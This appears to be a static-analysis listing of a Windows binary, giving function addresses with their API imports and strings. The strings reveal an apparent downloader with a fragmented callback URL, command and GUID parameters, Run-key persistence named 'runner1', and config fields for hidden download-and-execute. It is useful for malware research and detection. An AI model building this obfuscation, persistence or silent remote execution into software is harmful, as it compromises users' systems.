sub_outside():
	MSVCRT._CxxThrowException
	KERNEL32.CreateFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	SHELL32.SHFileOperationA
	KERNEL32.GetCurrentDirectoryA
	KERNEL32.RemoveDirectoryA
	KERNEL32.SetFileAttributesA
	KERNEL32.GetFileAttributesA
	MSVCRT.fopen
	MSVCRT.malloc
	MSVCRT.fread
	MSVCRT.fclose
	MSVCRT.free
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	MSVCRT.strlen
	MSVCRT.strncpy
	MSVCRT.strcpy
	MSVCRT.__set_app_type
	MSVCRT.__p__fmode
	MSVCRT.__p__commode
	MSVCRT.__setusermatherr
	MSVCRT._initterm
	MSVCRT.__getmainargs
	KERNEL32.GetStartupInfoA
	KERNEL32.GetModuleHandleA
	MSVCRT.exit
	MSVCRT._XcptFilter
	MSVCRT._exit
sub_42852F(014d):
	KERNEL32.Sleep
	MSVCRT.sprintf
	KERNEL32.lstrcpyA
	KERNEL32.lstrcatA
	KERNEL32.lstrcpynA
	MSVCRT.malloc
	MSVCRT.memset
	MSVCRT.free

	"%d"
	"&x="
	"&i="
	"&p="
	"&cmd="
	"&GUID="
	"&version="
	"htt"
	"p://"
	"wr.mc"
	"bo"
	"o"
	".co"
	"m/r"
	"eta"
	"dpu."
	"ph"
	"p?"
sub_42E5BB(054d):
	KERNEL32.CloseHandle
sub_422C48(080f):
	KERNEL32.lstrcpyA
	KERNEL32.lstrcatA
	KERNEL32.Sleep
	MSVCRT.memset
	KERNEL32.WaitForSingleObject

	".bin"
	"InstallZip()\n"
	".old"
	"OPEN"
sub_427270(0932):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_431A74(09e7):
	MSVCRT.wcslen
	KERNEL32.WideCharToMultiByte
	NTDLL.RtlGetLastWin32Error
sub_42692B(0aef):
	"\\"
	"\\"
	"\\"
	"\\"
sub_4251CE(0d44):
	KERNEL32.Sleep
sub_4245AA(0f3d):
	MSVCRT._EH_prolog
	MSVCRT.strlen
	MSVCRT.strcpy
	MSVCRT.strstr
	MSVCRT.strncpy
	MSVCRT.strcat
	KERNEL32.Sleep
sub_4307DB(13d8):
	MSVCRT.strcpy
	MSVCRT.strcat
	KERNEL32.CreateDirectoryA
sub_425952(1435):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"i"
	","
sub_422BB1(1645):
	MSVCRT._EH_prolog
sub_422680(1652):
	MSVCRT._mbsnbcpy
sub_42908F(1b44):
	KERNEL32.lstrcpyA
	KERNEL32.lstrlenA
	USER32.wsprintfA
	MSVCRT.strcpy
	MSVCRT.memset
	MSVCRT._strnicmp

	"old"
sub_42EA31(2398):
	MSVCRT.malloc
	MSVCRT.free
sub_4308E2(2439):
	MSVCRT.strcpy
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.GetFileType
	KERNEL32.SetFileTime
	KERNEL32.CloseHandle

	"../"
	"..\\"
sub_427761(25ef):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_42678F(25ef):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_4319FF(2992):
	KERNEL32.lstrlenA
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error
sub_427B23(2c3b):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_42B09D(2f12):
	MSVCRT.memcpy

	"invalid block type"
	"invalid stored block lengths"
	"too many	length or distance symbols"
	"invalid bit length repeat"
sub_4226DB(338e):
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GlobalFree
sub_430707(356f):
	MSVCRT.memset
sub_426584(3845):
	"\\"
	"\\"
	"\\"
	"\\"
sub_4224B5(39db):
	MSVCRT.ftell
	MSVCRT.fseek
sub_42342D(3b5d):
	MSVCRT._EH_prolog
	MSVCRT.sprintf
	MSVCRT.atol
	MSVCRT.time
	KERNEL32.lstrcpyA
	MSVCRT.atoi
	MSVCRT._strnicmp
	MSVCRT.strcpy
	MSVCRT.strcat

	"ParseXML()\n"
	"%s"
	"configversion"
	"WR\\configversion"
	"paid"
	"WR\\p"
	"nextupdate"
	"WR\\nextupdate"
	"download"
	"%s"
	"rootkey"
	"key"
	"keyvalue"
	"requiredfile"
	"filename"
	"parameters"
	"SaveAs"
	"SavePath"
	"hide"
	"execute"
	"wait"
	"newupdater"
	"version"
	"identifier"
	"crc"
	"windows"
	"%s"
sub_42146A(3c3c):
	MSVCRT._CxxThrowException
	KERNEL32.CreateFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ReadFile
	KERNEL32.CloseHandle
sub_42DAD5(3cf8):
	MSVCRT.calloc
sub_42DBE5(3ea0):
	"1.1.3"
sub_4294E5(4060):
	MSVCRT.time
	KERNEL32.Sleep
sub_42309C(4085):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	KERNEL32.lstrcpynA
	MSVCRT.sprintf
	MSVCRT.strcat
	MSVCRT.strcpy
sub_42521F(410c):
	KERNEL32.Sleep
sub_431BE3(4529):
	KERNEL32.LocalFree
sub_42EBC2(459c):
	MSVCRT.malloc
sub_425D38(4766):
	MSVCRT._EH_prolog
	KERNEL32.lstrcpyA
	KERNEL32.lstrlenA
	USER32.wsprintfA
	MSVCRT.strcpy
	MSVCRT.memset
	MSVCRT._strnicmp
	MSVCRT.strlen
	KERNEL32.Sleep

	"affID"
sub_431B44(4878):
	MSVCRT._CxxThrowException
sub_421ACF(48e4):
	MSVCRT.memset
	MSVCRT.sprintf
	KERNEL32.lstrcatA

	"8B"
	"8B"
	"8B"
sub_425AD2(4fe3):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp

	"W"
	"R"
	"cmd"
	"0"
sub_422EC3(52c2):
	KERNEL32.lstrcpyA
	MSVCRT.sprintf
	KERNEL32.lstrcatA
	KERNEL32.Sleep

	"&retry=%d"
sub_424429(5608):
	MSVCRT._EH_prolog

	"download"
sub_424AE5(5af9):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	KERNEL32.lstrcpyA
	KERNEL32.lstrlenA
	KERNEL32.lstrcatA
	KERNEL32.GetWindowsDirectoryA
	KERNEL32.GetVolumeInformationA
	USER32.wsprintfA
	USER32.CharUpperA
	KERNEL32.GetSystemDefaultLCID
	KERNEL32.GetLocaleInfoA

	"67F9158B"
	"39"
	"67F9198B"
	"0A887397A5F240675EEF4D35019B6883A6FA5D6"...
	"67F9158B"
	"-"
	"-"
	"0A887397A5F240675EEF4D35019B6883A6FA5D6"...
	"-000"
	"0-00"
	"-"
	"-"
	"0A887397A5F240675EEF4D35019B6883A6FA5D6"...
	"000"
	"001"
	"}"
sub_42A17E(605a):
	"invalid literal/length code"
	"invalid distance	code"
sub_4227A4(638c):
	KERNEL32.GlobalFree
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	KERNEL32.GlobalAlloc
	KERNEL32.GlobalReAlloc
	MSVCRT.memcpy
	KERNEL32.FreeLibrary

	"wininet.dll"
	"InternetOpenUrlA"
	"InternetCloseHandle"
	"InternetReadFile"
sub_424A53(6792):
	MSVCRT._EH_prolog
sub_4221DB(6c26):
	MSVCRT.memset
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FindClose
sub_4296C8(70c5):
	KERNEL32.Sleep
sub_42FDD7(741f):
	MSVCRT.free
sub_426B19(7482):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_42DD65(74b1):
	"unknown compression method"
	"invalid window size"
	"incorrect header	check"
	"need dictionary"
	"incorrect data check"
sub_425FC6(773a):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp
	MSVCRT.atoi

	"\\m"
	"ro"
	"finu"
	".ex"
	"e"
	"mr"
	"of"
	"inu"
	".exe.tmp"
	"defaultvalue"
	"11866787A5F240675EE6610530A652BC94C74E7"...
	"WR"
	"34AC53A09BDC7C"
sub_4240F6(792e):
	MSVCRT._EH_prolog
sub_42F43A(7c4d):
	MSVCRT.strlen
	MSVCRT.strcpy
sub_42E61F(7f88):
	KERNEL32.SetFilePointer
sub_4242EC(7fd1):
	MSVCRT._EH_prolog
sub_43007C(858e):
	MSVCRT.memcpy
	MSVCRT.strcpy
	KERNEL32.DosDateTimeToFileTime
	MSVCRT.strcmp

	"UT"
sub_42DAFF(86fe):
	MSVCRT.free
sub_428380(87ee):
	USER32.EqualRect
sub_4255E6(8c0e):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT.time

	"WR"
	"nex"
	"tup"
	"date"
sub_4241BB(8cac):
	KERNEL32.InterlockedDecrement
sub_422296(8f2d):
	KERNEL32.GetCurrentDirectoryA
	MSVCRT.strlen
	MSVCRT.strcpy
	KERNEL32.SetCurrentDirectoryA
sub_425733(955b):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"WR"
	"p"
sub_422E6E(95e7):
	MSVCRT._EH_prolog
sub_42EDD8(963d):
	MSVCRT.free
sub_422199(968a):
	KERNEL32.CreateDirectoryA
sub_425C0B(9860):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"c"
	"md"
sub_431930(9c9a):
	MSVCRT._controlfp
sub_4263D6(9de0):
	MSVCRT._EH_prolog
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	KERNEL32.Sleep
	MSVCRT.atoi
	KERNEL32.FreeLibrary

	"31A144BF9E80200C66C764"
	"11A144BF9EF66A4761DE7C0307B1"
	"sei \n"
sub_421C92(9f30):
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	KERNEL32.Sleep
	SHELL32.SHFileOperationA
sub_42FFCE(a03c):
	KERNEL32.GetCurrentDirectoryA
	MSVCRT.strcat
	KERNEL32.GetFileType

	"\\"
sub_429A80(a21d):
	KERNEL32.InterlockedIncrement
sub_4256EA(af01):
	KERNEL32.CreateMutexA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle
sub_42583A(b058):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"i"
sub_4254CE(b058):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"WR"
	"confi"
	"gversion"
sub_427610(b267):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_42CF86(b45b):
	"invalid distance	code"
	"invalid literal/length code"
sub_42E66B(b76e):
	KERNEL32.SetFilePointer
sub_426491(b982):
	KERNEL32.lstrcatA
sub_42CD2E(ba1a):
	"oversubscribed dynamic bit lengths tree"...
	"incomplete dynamic bit lengths tree"
sub_429F50(bae0):
	MSVCRT.memcpy
sub_422A1E(bc98):
	MSVCRT._EH_prolog
	KERNEL32.GetWindowsDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.Sleep
	MSVCRT.sprintf

	"%d"
sub_42F7E0(beac):
	MSVCRT.malloc
	MSVCRT.free
sub_422435(bf61):
	MSVCRT.strlen
	MSVCRT.toupper
sub_431776(c12a):
	MSVCRT._onexit
	MSVCRT.__dllonexit
sub_4249D2(c8e0):
	KERNEL32.SetCurrentDirectoryA
sub_4270ED(cb50):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_42FF52(cc4c):
	MSVCRT.gmtime
	KERNEL32.SystemTimeToFileTime
sub_428360(cc75):
	USER32.CopyRect
sub_42239F(d371):
	MSVCRT.strlen
	MSVCRT.toupper
sub_42EA04(d803):
	MSVCRT.strcmp
sub_42334C(d83f):
	KERNEL32.lstrcpyA
sub_42CDD6(dd13):
	"oversubscribed literal/length tree"
	"incomplete literal/length tree"
	"oversubscribed distance tree"
	"incomplete distance tree"
	"empty distance tree with	lengths"
sub_42E740(dd1e):
	KERNEL32.ReadFile
	MSVCRT.memcpy
sub_421D8A(de74):
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	SHELL32.SHFileOperationA
sub_422F54(e014):
	MSVCRT._EH_prolog
	MSVCRT.sprintf
	MSVCRT.strcat

	"%02X"
sub_4252F7(e07b):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp

	"SOFTWARE\\Microso"
	"ft\\Windows\\Curren"
	"tVersion\\R"
	"un\\ru"
	"nner1"
	"defaultvalue"
	" "
sub_428300(ebb0):
	MSVCRT._mbscmp
sub_4315D0(ebb0):
	MSVCRT._mbsstr
sub_42E429(ec84):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateFileA
	KERNEL32.GetFileType
	KERNEL32.SetFilePointer
sub_427C84(f016):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_426CC3(f016):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_421109(f546):
	KERNEL32.GetFileSize
	NTDLL.RtlGetLastWin32Error
sub_4266E9(f6ae):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_428069(f6ae):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_42322C(f880):
	MSVCRT._strdup
	MSVCRT._mbsupr
	MSVCRT.free